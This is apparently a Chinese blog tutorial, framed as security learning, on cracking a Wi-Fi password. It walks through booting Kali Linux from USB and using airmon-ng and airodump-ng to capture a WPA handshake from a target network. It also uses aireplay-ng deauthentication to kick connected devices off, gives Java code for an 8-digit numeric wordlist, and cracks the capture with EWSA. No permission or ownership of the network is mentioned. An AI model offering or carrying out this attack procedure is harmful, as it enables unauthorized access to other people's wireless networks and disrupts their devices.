记录一次简单的网络安全学习

使用U盘安装kali Linux,对无线网络密码进行攻击的步骤:

1、安装kali 到U盘上,下载live版本

在这里插入图片描述在这里插入图片描述

2、使用rufus将U盘格式化,将kali系统刷入U盘

在这里插入图片描述
安装完成后点击确定,不要格式化U盘,将电脑重启。我的电脑是联想拯救者,开机按下fn+f12,进入boot启动菜单,选择U盘启动。

3、开机后成功进入kali启动菜单页面。默认选择第一个启动(直接按回车),进入桌面。

4、启动命令行窗口。

1、输入sudo su,进入root模式。
2、使用airmon-ng命令。
无线网卡设备名称默认wlan0,输入airmon-ng start wlan0启动网卡的监听模式;
3、输入ifconfig,查看网卡的名称是否变化。如果进入失败,需要杀死占用网卡的进程(kali会给出提示);
4、输入airodump-ng wlan0mon打开监听。屏幕上显示监听到的路由器bssid mac地址,信道ch,验证方式auth,essid名称等信息。

下面一部分是路由器mac在这里插入图片描述
与链接他的无线设备(station)的mac,可以记录一下。
5、选择data数据变化快的无线网络,记录bssid。
6、另开一个终端开始攻击。获取管理员权限,输入

airodump-ng  -c “被攻击热点的信道” --bssid “被攻击网络bssid” -w “这里写保存位置,写文件路径” wlan0mon

等待设备连接,连接时会发送握手信号,此时握手包捕获成功。

若一直没有新设备链接,可以使用以下命令:

aireplay-ng -0 0 -a “路由器设备mac地址” -c “链接的设备mac” wlan0mon

强制让设备断开连接,这样重新连接时可以抓到握手包。

5、转回Windows,使用ewsa软件简单破解。

1、生成字典文件,以8位数的纯数字为例,利用Java生成。

// An highlighted block
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;

public class Main {
  public static void main(String[] args) {
    try {
      
      FileWriter fileWriter = new FileWriter("numbers.txt");
      
      BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);

     
      for (int i = 0; i <= 99999999; i++) {
      	//从00000000到99999999,包括八位数的所有密码
     
        String str = String.format("%08d", i);
        
        bufferedWriter.write(str);
        bufferedWriter.newLine();
      }

      // BufferedWriter
      bufferedWriter.close();
    } catch (IOException e) {
      e.printStackTrace();
    }
  }
}

2、打开ewsa,选择导入数据,选第一个tcpdump,选择之前抓到的数据包,一般以.cap为后缀名。
在这里插入图片描述
在这里插入图片描述
选择“关闭变换”,提高破解速度。
在这里插入图片描述
点击“开始破解”,“密码破解”,耐心等待破解完成,如果设置了八位数数字密码,一定可以拿到。
在这里插入图片描述

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值